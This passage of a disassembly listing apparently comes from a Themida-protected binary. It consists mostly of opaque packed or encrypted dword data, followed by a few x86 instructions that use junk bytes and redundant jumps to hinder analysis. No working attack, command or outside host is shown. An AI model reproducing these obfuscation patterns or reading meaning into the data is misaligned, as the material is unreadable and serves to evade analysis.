		dd 5DB13ABFh, 9B1AA956h, 4B6697B9h, 102BB912h, 0DAB79C2Ah
		dd 0EAB13CDEh, 75B8DB56h, 0C0AE3256h, 0F532A2DEh, 250C4758h
		dd 0D1BE0152h, 0ABB1325Ch, 0D5383D36h, 61B13256h, 2E445388h
		dd 0BAB0B959h, 0F4483256h, 2EB13256h, 5722B759h, 0A8443256h
		dd 0D5BDDB90h, 0FCD43256h, 166D98ABh, 42EEA89Eh, 9D3282FDh
		dd 0AEBDDB53h, 0F8203256h, 4B1B13Eh, 4051F177h,	61D1F6BDh
		dd 0F7B25390h, 0BC1F4EEDh, 0D7BE7AAFh, 0AEB13249h, 57A8BC59h
		dd 0BF583256h, 35B13256h, 9EDAB117h, 0B29EDFFCh, 807BF41Ah
		dd 0EAB189E8h, 27EDCC8Ah, 0D6BE3A11h, 0ABB1325Eh, 550ECE36h
		dd 8BB0755Eh, 79F6BBAEh, 0BAB13ABFh, 7F752656h,	0CEC81BA7h
		dd 55C2DB4Eh, 0A5583256h, 56B13256h, 0E6BA4CF5h, 5AD2A3F5h
		dd 0D9FDE04Bh, 5269C56Eh, 0AEB125D7h, 57A3DB56h, 2C113256h
		dd 574BF298h, 2F346224h, 0EFB4D97h, 0CE50CFC1h,	5758F47Dh
		dd 0FBB13256h, 0FB77E4A0h, 0FFF77D44h, 0DA69C506h, 0EAB138DDh
		dd 0AD305256h, 9F0FAC68h, 0DED0FADDh, 0C8D13796h, 903CDAD7h
		dd 10333137h, 0B5B79C2Ah
		dd 0EAB7B959h, 0F3BE3256h, 0BAB13256h, 0B4F953AEh, 0AEB13245h
		dd 977B7690h, 0BF4F5670h, 0EF032587h, 0BE61A080h, 0FCD1385Ch
		dd 3EBE3A11h, 5DB1324Eh, 0AEB121BFh, 95810C56h,	7380CFB1h
		dd 0E25D7A38h, 79CDD58Dh, 0E9DBB7E9h, 0B6F6BBAEh, 850E3D36h
		dd 47D0F9DDh, 57B133E3h, 1BF8936h, 0DAE6718Ah, 0EAB132DCh
		dd 46D06B56h, 0FC3BC796h, 5DB6DB57h, 9F6C3256h,	69F8C26Eh
		dd 0A4319AAFh, 0D5B1D0D3h, 0FC3D3D56h, 9CB13256h, 0BAB13247h
		dd 98D10EA9h, 53DB9EE8h, 84148180h, 0B0DADAF8h,	0DA7731ABh
		dd 0EAB122D4h, 75BADB56h, 243D3256h, 0EBAD3BFFh, 0B0A0D4F6h
		dd 5571B110h, 0ABB121BFh, 549B6B56h, 5654A898h,	0A8EFC327h
		dd 440381E3h, 0A891AF0Ch, 465A8636h, 57B13245h,	7F77FCA3h
		dd 58491374h, 15953776h, 2CB1CF12h, 0E838AB62h,	0E6D06A0Eh
		dd 0AEB13257h, 586A39AFh, 0ABB11DD2h, 0DD3C3D56h, 8AB13256h
		dd 0F569B930h, 30D088A4h, 0F07418CCh, 4D31CB50h, 5B585257h
		dd 6B13256h, 0DEE0F094h, 39E0C8EFh, 13CC620Ch, 0DB0606E8h
		dd 0D44DF155h, 0A14D3A11h, 57B136D7h, 0F0E35256h, 0D9F6BB37h
		dd 0EA76DBAFh, 7B583256h, 13B13256h, 0CE60AA14h, 359F37F4h
		dd 0B0103B12h, 13D75204h, 6AD75914h, 1DD0A563h,	75B4DB8Eh
		dd 76F43256h, 782195D8h, 0AEB132A9h, 57A2DB36h,	0F47C3256h
		dd 291AE623h, 21D74A70h, 435FF294h, 0DCF9AAB5h,	9831618Dh
		dd 47D06AE0h, 57B1325Ah, 0C1A0286Dh, 0D5E00B6h,	9C8A819Ah
		dd 6758F47Dh, 8B13256h,	0DC488B8Eh, 597E19D5h, 7C61DDACh
		dd 2F513E2Ch, 0D46CA81h, 0EAB0B559h, 0F6483256h, 3DBE3096h
		dd 5DB13251h, 0B1518A36h, 0AED00446h, 0A4B975DFh, 0D5B133D6h
		dd 0AD38CA56h, 7D59525Ah, 7FB13256h, 5A6D9C29h,	4757664Ah
		dd 57B13245h, 33756889h, 0BF65FC25h, 48763703h,	0DA32567h
		dd 0E5E2E564h, 5358CA37h, 9FB13256h, 56BB072Ah,	362C4BCAh
		dd 0C3AEF2CFh, 6BBE53A1h, 75B13257h, 0A858FBAAh, 0D6B13256h
		dd 494CA76Ch, 7A7507A8h, 8F340B99h, 0EE748529h,	63BEF106h
		dd 75B13257h, 36BE67AFh, 5DB1325Ah, 0AEB7B359h,	0D9BE3256h
		dd 0ABB13256h, 5644DEDDh, 6ABECE92h, 75B13257h,	31BE52AAh
		dd 5DB13247h, 0AEB13EBFh, 0C034D856h, 0DD016201h, 0F7380723h
		dd 0EAB1DA12h, 0F4EB3256h, 14058BBCh, 5658CE50h, 0FFB13256h
		dd 0C18FEEA1h, 1A219480h, 5CBE3790h, 0EAB1324Bh, 75A6BA59h
		dd 0A8583256h, 0F1B13256h, 0B75BF175h, 0E4B71F93h, 5A0D5783h
		dd 0D456F5h, 8E0BB9D1h,	89B79C2Ch, 35BEFB65h, 5DB1325Ah
		dd 0AEB7B859h, 0DEBE3256h, 0ABB13256h, 0DAB10DD5h, 0EAB577D2h
		dd 723AC756h, 0BAB13ABFh, 0E57C056h, 11E66E06h,	5BC4CD6Fh
		dd 6B0F5436h, 8946B24Bh, 0E2C4CD37h, 75A7B259h,	38BE3256h
		dd 5DB13246h, 0AEB139BFh, 0A9477F56h, 4167B0E0h, 0E8AFE488h
		dd 3305206h, 389EE3CFh,	2C5953AAh, 3DB1325Eh, 0F535D9D7h
		dd 5CD0073Dh, 0B7343D96h, 0B5B13256h, 61D06AE4h, 4C58CB51h
		dd 53B13256h, 5DB1325Dh, 7F1E0257h, 0FF3A592Eh,	28998930h
		dd 0C1582691h, 0A3B13256h, 3C5D535h, 1208CB17h,	0F0E47002h
		dd 312F785Eh, 0BE572623h, 544ECD36h, 0D5B3B559h, 8BD13256h
		dd 154D77DFh, 404F8DDh,	51C4CD37h, 0AEB120BFh, 9C507856h
		dd 0D34A0D31h, 6A8760B3h, 0D47B5058h, 9C117CA2h, 0BAB13258h
		dd 8CF81F90h, 0AA327EA4h, 0CA61A3C8h, 0DE4E60F8h, 0DD393D5Eh
		dd 8AB13256h, 75B1B759h, 45D03256h, 553E3D61h, 0A1B13256h
		dd 57B130DEh, 43D05256h, 0D5B135B3h, 0E57139AEh, 75B11AD2h
		dd 0BABEDB56h, 0DFF23256h, 248818F7h, 0E95810DAh, 41D8FA3Eh
		dd 0D699DB31h, 0E0583256h, 0F8B13256h, 49C9BBEDh, 712E4D2Ah
		dd 52F4B95Ch, 57B138BFh, 3B2A2856h, 6756738Ah, 0D352E0BCh
		dd 8A333D51h, 42B13254h, 524D77A9h, 0AEB133DFh,	2832C756h
		dd 2FBE3252h, 0D5B1324Eh, 0E6CEB1A3h, 78353D56h, 0DAB13256h
		dd 0BB31DEDCh, 93585373h, 0ABB13256h, 544ECDEEh, 0D008CBA9h
		dd 0E5B13256h, 75B133DBh, 1142CB56h, 5DB137BFh,	61070756h
		dd 4558851Eh, 424ECDA9h, 0D5B13242h, 0BC10C4B0h, 7C9BA3EEh
		dd 0B94ECB49h, 0C2D4044Eh, 412800E4h, 52A14DD5h, 0AB30B659h
		dd 82D13256h, 6AEA5336h, 0F6D03BA1h, 0B5B72229h, 5DB196D3h
		dd 0AEB9DB56h, 6F733256h, 0CE552BBDh, 20F04403h, 0EABAB659h
		dd 0F4D13256h, 32A19BA7h, 8D063D12h, 0AAF6B937h, 57B139BFh
		dd 8D9FD56h, 2FD8CA5Bh,	0BDF53B37h, 15BD6DDDh, 36BECBDDh
		dd 5DB13250h, 0AEB1B259h, 0BED03256h, 0ABB133B6h, 0D5ACB359h
		dd 6BBE3256h, 75B13241h, 0BAB120BFh, 94D8EB56h,	1202550h
		dd 0F8B1B13Eh, 3E51F177h, 5EBAF6BDh, 61483611h,	66583E09h
		dd 23B13256h, 0F61B7085h, 0BF03BE2Ch, 33EE0464h, 68C186F7h
		dd 0A1583D77h, 8AB13257h, 75B137BEh, 9059A556h,	5E6449Ch
		dd 610E3D09h, 53F6B937h, 0A7EEB9AFh, 54D76436h,	0B32B3FBEh
		dd 146FB930h, 0B5B96D6Dh, 5DB188D3h, 0A33F3D56h, 0BEB13256h
		dd 0ABB1325Eh, 7BE75DF1h, 5CEDD303h, 75B9DB04h,	0F8F63256h
		dd 0F5D2CE40h, 0F93A3CB8h, 57A2DB52h, 0FAF03256h, 5A9F83DEh
		dd 0EA47C5CDh, 0C81BD60Eh, 262BADABh, 57373DFEh, 0CEB13256h
		dd 3A0804EFh, 733A5417h, 0C5E41937h, 0FEE431A3h, 79EEB9AEh
		dd 0BABFDA36h, 45083256h, 0F041454Ah, 0C360A158h, 0B50F956Ah
		dd 0CC096DAFh, 8BE18610h, 0F8BEE87Dh, 0BAB1325Eh, 5DB3B559h
		dd 0CFD13256h, 37B4D9D5h, 5ED09DE6h, 0B3D1520Ch, 8180FBD7h
		dd 0CBD0E1DDh, 0AD76F68Bh, 5D31DB37h, 0BA583256h, 4FB13256h
		dd 0FBC03FA4h, 86ACC41Ch, 74118C27h, 42D8BC3h, 317AF887h
		dd 57583611h, 0B6B13256h, 786A4D8Eh, 3A9725F3h,	0D9EEB9DEh
		dd 0EAB13ABFh, 0AC4F9156h, 73079512h, 59EE19D3h, 0AEBDDB36h
		dd 0ACD93256h, 2E467275h, 0AA7CBC44h, 830B4B0h,	78DC5C38h
		dd 0BF5AB137h, 5DB138BFh, 0BEB99156h, 3582A106h, 0A8AB2CABh
		dd 7D80A7DCh, 0EABDDB50h, 0CCF43256h, 6E75A4BAh, 2E54098Eh
		dd 0D1326753h, 0D2BE3146h, 0ABB1324Dh, 0D5A2B159h, 0E4583256h
		dd 90B13256h, 9DAB2B1Fh, 0E9F3DF59h, 2C86AF0Dh,	7C49735Bh
		dd 0ABA0DB8Fh, 0F99E3256h, 405552Ch, 0FB6420F4h, 0ACC77158h
		dd 3D9E6EDEh, 924288E8h, 0DB51B348h, 0CA88DF89h, 0D4B06EDFh
		dd 0AB678B36h, 0B2304F68h, 8F1097CFh, 0A209CB37h, 524ECDA9h
		dd 91063D36h, 0ABB48B37h, 26493256h, 0EABEDBFDh, 665A3256h
		dd 346675B8h, 0AC4C156Eh, 0A4E183C4h, 0ABC2DB88h, 0A058CDA9h
		dd 0EEB13256h, 0BCD9DE3Dh, 56EFADB7h, 4FD06563h, 55303D9Fh
		dd 0A1B13256h, 57B130DEh, 69D05256h, 0C5583246h, 44B13256h
		dd 7FD9D256h, 0CBD15A90h, 0EDE95EFBh, 0FB7F7F58h, 57BBBF59h
		dd 0A4D13256h, 0D5B132DDh, 8BEE6056h, 7D58DEDDh, 0F3B13256h
		dd 3503DF69h, 2D0ADEFAh, 374DCE92h, 0ABB13CBFh,	7A0F7456h
		dd 74C25A29h, 6E409690h, 52307685h, 5DB13256h, 6D5BB30Ch
		dd 0BEB79CEFh, 0ABB13258h, 8F0E1004h, 6C42A872h, 60E63089h
		dd 0B4587611h, 0BFB13256h, 8614546Ch, 34821028h, 0B44FC347h
		dd 0B10BB912h, 3B79C2Ch, 75B13245h, 32E4FD2Fh, 0C62D6903h
		dd 6D858954h, 49227F13h, 98019286h, 0EA32CB9Fh,	4A353D56h
		dd 7AB13255h, 0BAB133D6h, 5A3ACE56h, 0AEB13BBFh, 0CC0AF556h
		dd 0EAD7AC45h, 0A04E9C9Fh
		dd 0EABBDB5Ah, 0F6273256h, 0E39BF3C0h, 57B9EC8h, 56B947A9h
		dd 67095206h, 42A4A5C7h, 0D5B13244h, 0CF745308h, 0BCC07695h
		dd 883195A8h, 0C8412699h, 46D0ECADh, 57B131DBh,	53063D36h
		dd 0D5B1B259h, 3D03256h, 75B13250h, 0F57EA1DAh,	9DBA804Bh
		dd 0AE97B759h, 0D3BE3256h, 0ABB13257h, 29B6B9A3h, 0EAB6B559h
		dd 13D13256h, 6C3AF0DDh, 5DAFDB37h, 22BE3256h, 57B13252h
		dd 0CAEE6536h, 0B5A5F5D5h, 0EAB1B159h, 0FED73256h, 0F558538Ch
		dd 0A14ECDA9h, 474D77DFh, 57B1325Ch, 7A2BE0DDh,	2B1DE0EBh
		dd 9F4E98FAh, 0C2BE525Ah, 61305497h, 0A2D03F1Fh, 0A8583A23h
		dd 0C3B13256h, 88D5233Ah, 2D86CDEDh, 0EAB232BEh, 0B5BACE56h
		dd 0BA92B659h, 0D8BE3256h, 0AEB13257h, 551CDBAAh, 42493256h
		dd 0D5B13247h, 8D53B61Bh, 0E63C0FFAh, 0A4D1FD08h, 934F8C51h
		dd 52F4B9EFh, 58B60BAFh, 0ABB3B8D4h, 0D5A3DB56h, 6FBA3256h
		dd 6EA72978h, 34B933A8h, 0E42B989Dh, 83C7C1Dh, 374D77A9h
		dd 5C063DA3h, 0AA32CA37h, 6EBE3252h, 75B13272h,	0B6CEB1A3h
		dd 44353D56h, 56B13256h, 57B1B3BFh, 0A6313D56h,	3CB13256h
		dd 0EAB1325Eh, 0BAE2415Dh, 0F0783759h, 0A24ECDEEh, 0AEA2DBA9h
		dd 23843256h, 0BC8D56DAh, 0DE103721h, 2CE407BFh, 0E2952F37h
		dd 0BAB48B8Ah, 0B4D13256h, 0AEB13246h, 0AA431ADFh, 2F8A3BB8h
		dd 0D2692296h, 5E67F65Eh, 75B139BFh, 9E3BF356h,	867C201Ch
		dd 3C44CD3h, 371AC137h,	0C341B330h, 1630549Ch, 3D0F037h
		dd 8A4ECCACh, 0BAB9DB36h, 0E3873256h, 0A6A967C9h, 0A031D899h
		dd 0D43253DFh, 51BE3746h, 0EAB132D8h, 65CEB1AEh, 56343D50h
		dd 52B13256h, 0AEB13DD9h, 57BBDB56h, 28A03256h,	9A8C146Dh
		dd 15734Dh, 154D5217h, 0DBD16800h, 1A3A5337h, 0BE585252h
		dd 81B13256h, 0D966F927h, 0A0C50E05h, 547CE0Dh,	131BF60Ah
		dd 100AF1D7h, 51EEB937h, 0AEA0BB59h, 5B583256h,	5DB13256h
		dd 0FD56F5A6h, 0CD350246h, 9C0F791Fh, 0BAB13352h, 52323D36h
		dd 46B13256h, 57B1325Fh, 0B111A8CDh, 987E535Eh,	8B496C53h
		dd 75B9B459h, 3BBE3256h, 5DB13254h, 0E93A5336h,	57BEDB52h
		dd 0BA353256h, 354467Ah, 0C39C14FDh, 3BD9A6FBh,	0B6EEB95Ah
		dd 0B4D152AAh, 0AEB13245h, 7BDD73C5h, 3A7B6517h, 0F6D89132h
		dd 2888AF8h, 9CF5231Ah,	0BAB1325Ah, 0C2F7EA4Fh,	5F20133Bh
		dd 0CEBD7B28h, 0C24A8837h, 3CD00345h, 0EAB13222h, 75B120BFh
		dd 0FBA68456h, 30C333DEh, 4149D180h, 3453EF8h, 2073EC68h
		dd 3CD13611h, 0EAB1325Dh, 9245AF10h, 0FFB2E8D9h, 3B0699DBh
		dd 0CF86E7EDh, 0AFBD6DDDh, 0CBB56D7Dh, 2F838930h, 0EF5AB137h
		dd 75B134BFh, 0FF9FF556h, 0DE57F2DCh, 0A1B22229h, 57B12DD3h
		dd 0ABBEDB56h, 821C3256h, 6A3B3750h, 1DABB2A9h,	9383612h
		dd 58587310h, 0B6B13256h, 3C7736Bh, 0BA58EB7Dh,	0BCB13256h
		dd 36D7B170h, 1375AA89h, 175A4E49h, 40C9C98h, 0AFB06EDFh
		dd 57B6B559h, 22BE3256h, 0D5B13257h, 154E8AAEh,	0F8BECDA9h
		dd 0BAB13240h, 5DB123BFh, 11572456h, 9124EFA8h,	750E34F7h
		dd 3803A2C7h, 0EF082891h, 15B13256h, 0B54A8559h, 5DB137D0h
		dd 2918856h, 37D03C49h,	0F94A8D59h, 7E42530Eh, 17ADDBAEh
		dd 1448CDA9h, 38BEFBA3h, 5DB1324Fh, 0AEB126BFh,	6B19E356h
		dd 0B7EB75ADh, 0C42FB66Fh, 4598970h, 26E04818h,	0BAB9F0D3h
		dd 5DB126BFh, 0AB165B56h, 86F59147h, 81698FF1h,	232B0BCCh
		dd 0DC3A0B7Bh, 7AD167D0h, 34BEF1E9h, 5DB1325Ah,	0AEB135BFh
		dd 2A5A056h, 88989959h,	0B7055237h, 0BC71B330h,	993A5356h
		dd 7E32CEAEh, 5DA3DBAAh, 62893256h, 59FACB45h, 0BD2F7160h
		dd 0BFF84676h, 0A6C0635Eh, 75A0DB36h, 0F5183256h, 6DE2F481h
		dd 0FCFC7857h, 0ED2302B8h, 0CB4E6032h, 0B467B930h, 3B977DDh
		dd 75B13258h, 0BAEC5085h, 2D9018AFh, 78C6E040h,	128AB3C3h
		dd 0F0333D5Ah, 0B5B13256h, 34AB930h, 75B13253h,	0EB7F748Fh
		dd 188A5309h, 0ED363D46h, 0BEB13256h, 0ABB13246h, 0F8158007h
		dd 8256B579h, 31BCA5DDh, 747A305Dh, 5D4D7791h, 0A1B13256h
		dd 57B127D4h, 0ABA1DB56h, 0E7E03256h, 0CD5E7520h, 9268811Ch
		dd 3B42D98Ch, 715885A3h, 0A1B13256h, 57B133D2h,	0EE76C756h
		dd 0D5B133AAh, 0E358C756h, 8AB13256h, 0C21E782h, 0CCB37B6Ah
		dd 0AEB138BFh, 57B4DB56h, 6DAE3256h, 0B4E67B3Dh, 3C3A5436h
		dd 0FED038E4h, 3DBECE13h, 5DB1324Dh, 0AEA4B659h, 47583256h
		dd 43B13256h, 84CB7CB8h, 0EF17B705h, 0A3D82E3Ch, 733926D1h
		dd 5DBEDA36h, 13223256h, 426268BAh, 0A8F9B99Dh,	96F97925h
		dd 0B376B91Eh, 75B3B159h, 0DBD13256h, 5DBDF037h, 0AEB13DBFh
		dd 0CD0DCA56h, 865C22CDh, 6964EAC8h, 858FF517h,	75B122BFh
		dd 0FA37056h, 37FFEC44h, 87C3B741h, 0F7F7D172h,	0CDD16740h
		dd 0B33443EDh, 8B2F53EEh, 0F644DEDDh, 0DA48CE92h, 0DE0E5436h
		dd 0FF0B5449h, 0DCD7539Fh, 0CBD15380h, 0D5B123BFh, 7389F256h
		dd 85413B43h, 37F5BDA7h, 1C28CEE2h, 46D0F16Ch, 57B13256h
		dd 5BB30Ch, 3CB79CE9h, 0EAB13242h, 9222B60Ah, 9336E372h
		dd 4B0BA671h, 87A3DC32h, 94FA6E52h, 27BECA36h, 0D5B13253h
		dd 6057B330h, 7B58535Fh, 0E7B13256h, 49086FF3h,	949F501Ch
		dd 8065A30Ch, 0FC445263h, 0D5B13ABFh, 46F99C56h, 246B071Ah
		dd 89D06865h, 8682CB9Fh, 0AE9FB959h, 0BFD13256h, 0ABB13247h
		dd 57EB2736h, 5CCBC744h, 2AA93070h, 0FA12DF80h,	4D586C21h
		dd 26B13256h, 0C5585CCDh, 4009528Fh, 2FC6E4CFh,	8B52D139h
		dd 9C4D6FDFh, 0BAB13247h, 2CC00EA8h, 0C4EE0E3Ah, 44AB5F98h
		dd 0E02321B9h, 0B10BB93Fh, 3B79C2Ch, 75B1325Eh,	16BB1CE4h
		dd 0C88CB6C0h, 0A1B10DD5h, 57B39AD2h, 1CE05256h, 0AB086D07h
		dd 8BAA0E09h, 0BE3A5436h, 0BAB2B659h, 8F313256h, 913253F9h
		dd 0C343DA9h, 52B13256h, 0B5A5F5D5h, 0EAB13FBEh, 3F4C4456h
		dd 0FAE32527h, 4C0522DAh, 0A65876AAh, 69B13256h, 0B90A12B5h
		dd 8BDEFE02h, 5393EBD7h, 7AD06BC6h, 0BAB121DAh,	5DBFDB56h
		dd 7BB13256h, 55DC762h,	0DEB278C1h, 208324C6h, 154EB9BFh
		dd 7E383DA9h, 0DAB13256h, 5DB1BD59h, 63313256h,	2832532Fh
		dd 2FBE3252h, 0D5B1323Dh, 0EABCDBAFh, 0B4FD3256h, 4E34F56h
		dd 4CEE7B55h, 2D87C423h, 58B13E29h, 0ABB17CD2h,	0D5A0DB56h
		dd 0FA583256h, 4C473C5Dh, 97A67098h, 78657D46h,	0A1BA746Ah
		dd 57B127D4h, 0CAD15256h, 0D5B13EBFh, 787DBB56h, 40FEE5C8h
		dd 57145F8Dh, 7B5853E6h, 0A1B13256h, 57B123D8h,	0ABBDDB56h
		dd 37463256h, 8EFCCE3Eh, 244289C9h, 4548799Ch, 0DE4DCE13h
		dd 474D2691h, 0A84ECCAEh, 0BBCEB1AAh, 0AC353D53h, 3B13256h
		dd 75B1325Ch, 15CB9607h, 35C93AADh, 0D13227E4h,	0D2BE3446h
		dd 0ABB132E6h, 0D5B13EBFh, 9C92B56h, 2C0A0F6Ch,	1FF3B6FBh
		dd 4F58739Ah, 2BB13256h, 0EF963F76h, 0CFDD6B9Eh, 156314Ah
		dd 19B3118Bh, 71F6B958h, 0E14E8836h, 0DCD711EEh, 0CF6B5CA0h
		dd 58BD6DDDh, 0ABB12BDDh, 0C5585256h, 56B13256h, 19B86BD9h
		dd 93EDB062h, 0F46F35A8h, 0FFAF471Fh, 8858530Dh, 57B13256h
		dd 3CB575DDh, 0EAB13242h, 0DE1582D8h, 226673FAh, 0F77D931Ah
		dd 113430A3h, 31F3C5D1h, 0A4BD6DDDh, 0D5B12AD0h, 0EAA2DB56h
		dd 26463256h, 3CFC8445h, 5846F257h, 35260B77h, 0BA2A6FE9h
		dd 0AB28DB00h, 0DC583256h
		dd 99B13256h, 467940FCh, 0FD4C07D7h, 0B4B575DDh, 0AEB13246h
		dd 748978FCh, 29FA6F79h, 5CE4B40Fh, 9D7A6354h, 15BD6DDDh
		dd 0BC323DAAh, 52B13256h, 0AEB132DBh, 7C4D5356h, 2DBE3609h
		dd 0D5B1325Eh, 8CEB6036h, 149A68EEh, 0B5B4D9D5h, 5DB133D1h
		dd 0A758CA56h, 0CB13256h, 0A0A173Bh, 0E2C89437h, 0E9A14DD5h
		dd 759CB759h, 0DAD13256h, 823A6D07h, 0AEA2DB37h, 9FE23256h
		dd 67BFB33Ch, 0BE9B59DFh, 0A2159D0Bh, 7FD0EFA4h, 3D153E3h
		dd 2449B4D1h, 7A628C30h, 7C4D7337h, 0F738C78Fh,	6D4D3357h
		dd 154ECDA9h, 75B122BFh, 1C094756h, 0D286B2C4h,	0B02784FCh
		dd 0A177622Bh, 0ABB48B17h, 26493256h, 8358CAFDh, 154ECDABh
		dd 3A4FB930h, 52D01D83h, 0AEB13ED3h, 51353D56h,	0A4B13256h
		dd 0D5B132DDh, 61445356h, 13D1CE13h, 0E83EFAD7h, 94D0ECDDh
		dd 40F5436h, 57A3DBFFh,	0EBA3256h, 74C7CADh, 0C3BA53BAh
		dd 39FF9A95h, 7B608469h, 3DD1F137h, 0D75DDE8h, 8E085429h
		dd 0FBD05332h, 0D5B13ABFh, 1AE1956h, 8275B5D0h,	53D1638Fh
		dd 5DB13258h, 85842DA3h, 9F2827BFh, 0A013A336h,	63030A6h
		dd 0AC313238h, 78586137h, 47B13256h, 2D1E9BEAh,	83B89AA2h
		dd 3B2269D4h, 0ABB132BEh, 3F306856h, 0EC1FF1C6h, 0CAD75236h
		dd 0DBE6EC4h, 0B4D053A6h, 0AEB13242h, 5A951169h, 21538BB5h
		dd 364D851h, 0F51B8C4Dh, 72863A06h, 0C1E4A8DBh,	0D3BE34F8h
		dd 0AEB13251h, 57B0B159h, 13493256h, 0D5B13232h, 0EFF7DAAAh
		dd 0FE4D3256h, 0BAB4DB5Dh, 516F3256h, 47EFA352h, 57B1325Eh
		dd 0B57E6E7Eh, 0AEF8C5E2h, 5BD1F36Dh, 14C1856Fh, 0BAB1F4BFh
		dd 5DBBDB56h, 690E3256h, 0CE155C8Ah, 4E3D910Fh,	3CB57955h
		dd 0EAB13259h, 0A9785DD6h, 1A85081Eh, 0D7202AA2h, 95F1EDC2h
		dd 90333D97h, 0CBB13256h, 54D7FDDDh, 8BE57BB4h,	75B0BF59h
		dd 0B9493256h, 5758221Dh, 0A7B13256h, 0FD8DDBE6h, 8F648293h
		dd 0DA700999h, 0EAB107D4h, 79595256h, 0C9B13256h, 3DE0DB89h
		dd 0AAD1C7D6h, 0D64EECF3h, 62708B9Eh, 6ED76C3Eh, 3D04F79h
		dd 75B1327Bh, 0BABDB159h, 0D3BE3256h, 0AEB13250h, 57B1BF59h
		dd 29583256h, 0DAB13256h, 0EAB122DCh, 75BADB56h, 26EC3256h
		dd 367656A3h, 0E7C1286Eh, 57D6DBE8h, 42D13256h,	0D5B13244h
		dd 2C37CAC2h, 48B70D8Ah, 0CA32FB9h, 0E943DBD8h,	23D0205Dh
		dd 0F8E3D7CCh, 784ECA50h, 0D5B0B259h, 1F483256h, 75B10ABFh
		dd 0B7585256h, 2EB13256h, 70291BA8h, 0FB3AAD22h, 9C151EF7h
		dd 579B330h, 703C5327h,	731E645Dh, 0DA62CDA3h, 5DB7B859h
		dd 67303256h, 19E16EB2h, 0ABB3B659h, 123A3256h,	3D16937h
		dd 75B13259h, 741DB032h, 0B2E63E09h, 6F35A8A1h,	310DB3DEh
		dd 0CA86C6EEh, 54D7520Fh, 8B7C328Eh, 75BADB0Eh,	2CFC3256h
		dd 0A2824C4Dh, 662B81CBh, 244F1FDh, 0ABA0B859h,	0D9583256h
		dd 67B13256h, 0E864A973h, 683D597h, 0A4FD0BC2h,	0A958DEDDh
		dd 18B13256h, 0FE36FF50h, 0D5597546h, 0B0B13256h, 0B0C7D8D7h
		dd 0B65834F8h, 6B13256h, 437FD8B0h, 9F6C719Dh, 0CB57D612h
		dd 577BB330h, 0C553B329h, 14B13CB8h, 0DCD1CA36h, 9D6FE2D7h
		dd 143C53AEh, 511F4903h, 0ABB134BFh, 3E859156h,	61E7FCD3h
		dd 9CD13A13h, 0BAB13245h, 53826D0Dh, 0E94DE818h, 0A8C3B993h
		dd 7D7F37D4h, 541D1398h, 85276C8Dh, 0F7BE5377h,	0BAB13253h
		dd 0A161B936h, 0A1B6BB37h, 57B123D2h, 0A0343D56h, 3CB13256h
		dd 0EAB13250h, 0FD279A0Dh, 0FF3AEB8Ah, 5C343D5Ah, 57B13256h
		dd 58B575DFh, 0ABB124D8h, 0D5A0DB56h, 8A1D3256h, 3E85F103h
		dd 0EE9ED6ADh, 43AC71DDh, 2502986Ch, 5A582213h,	0E9B13256h
		dd 3ED7AA77h, 7EC837A9h, 6A024212h, 0B5BD75DFh,	5DB135D6h
		dd 0AF3F3D56h, 0AFB13256h, 0CBA577DDh, 8B3D8306h, 63D0C0DDh
		dd 0F8BE2211h, 0BAB1324Fh, 5DA2B659h, 0A0583256h, 0A0B13256h
		dd 7F1F5592h, 3959EBDCh, 0AEEAAF81h, 15D1531Fh,	980A8AAAh
		dd 3CD04C73h, 0A4333D9Fh, 0BEB13256h, 0ABB13253h, 29B35040h
		dd 0FA73CA79h, 0C2BE5256h, 0BAA3DBA9h, 0DBE63256h, 0E631EF1Dh
		dd 1BD67028h, 0F816E530h, 0BB0A3E55h, 2C485237h, 0DDA4E7D3h
		dd 0D24D7550h, 0F5A6414Ch, 0AEBCBC59h, 58D13256h, 0ABB132DAh
		dd 0A305456h, 15D05E90h, 0DDBEA7E3h, 0BAB7DB50h, 9AA03256h
		dd 496E6318h, 57B8B959h, 0CBD13256h, 0C158A37h,	67D039A0h
		dd 0DED843D3h, 30445250h, 8D4E539Dh, 0AEB9DA36h, 6F403256h
		dd 0E9BB4E66h, 0DA582FADh, 0F1B13256h, 0C1963BD4h, 87896678h
		dd 0DEAAB377h, 0CFEBCD93h, 6F035204h, 0ABA2B259h, 0D8593256h
		dd 0A7B13256h, 0C310647Eh, 39646BC5h, 32689909h, 243C5309h
		dd 511F4EBFh, 0CBE0CBAFh, 0D5B120BEh, 9362CC56h, 0D1682C0Ch
		dd 443F3714h, 4EA06748h, 0C8375BFAh, 89F95EEh, 0ABBFBB59h
		dd 0DD593256h, 79B13256h, 5DB114C2h, 0E02885E5h, 51383D37h
		dd 0A1B13256h, 57B134D6h, 0AB363D56h, 2AB13256h, 0A0A5286h
		dd 13FBB598h, 0E0D0E8DDh, 0B433BFAFh, 0A1B79C2Ah, 57B137DEh
		dd 46315256h, 62BE5395h, 0E1583E16h, 7DB13256h,	0ABB3FB9Bh
		dd 9870B9F4h, 763A6D13h, 906E8936h, 5F0515A2h, 0D0586037h
		dd 26B13256h, 71D03D3Dh, 0B1580359h, 54B13256h,	0B3642915h
		dd 80916A6h, 57EB03E0h,	3C7231AFh, 0EAB13251h, 0BCAB31B7h
		dd 33E47207h, 0F5AEE7D4h, 0AF353D50h, 0ABB13256h, 0C34953AFh
		dd 0F6051F8h, 57BBF8BFh, 6130123Bh, 0E8F852h, 5A000000h
		dd 0C822EA81h, 60F506AEh, 60F9BF0Fh, 5A6591BAh,	0C6816632h
		dd 6161AD50h, 828BF852h, 6A81FD5h, 0F95660F5h, 800F5Eh
		dd 61000000h, 0C64E6DB9h, 8D0F6041h, 3,	81D8B70Fh, 0ACBA3DCEh
		dd 0E1F7611Dh, 8860Fh, 66600000h, 8AF034BAh, 605A61CEh
		dd 0F5C38B66h, 30390561h, 8F0F0000h, 0Ch, 6890Fh, 8F0F0000h
		dd 0
; ---------------------------------------------------------------------------
		and	eax, 7FFFFFFFh
		jmp	loc_5B62B7
; ---------------------------------------------------------------------------
		dw 8C05h
		dd 33970127h, 8EC57046h
		db 0BEh, 0A7h, 0C0h
; ---------------------------------------------------------------------------


loc_5B62B7:				; CODE XREF: Themida_:005B62A5j
		mov	[edx+6A81FD5h],	eax
		jl	loc_5B62CF
		jno	loc_5B62CF
		jz	$+6


loc_5B62CF:				; CODE XREF: Themida_:005B62BDj
					; Themida_:005B62C3j
		clc
		pop	edx
		jmp	loc_5B62DC
; ---------------------------------------------------------------------------
		dw 3E9h
		dd 2FDED5A2h
; ---------------------------------------------------------------------------


loc_5B62DC:				; CODE XREF: Themida_:005B62D1j
		pop	ecx
		jmp	loc_5B62F4
; ---------------------------------------------------------------------------
		dw 7E93h
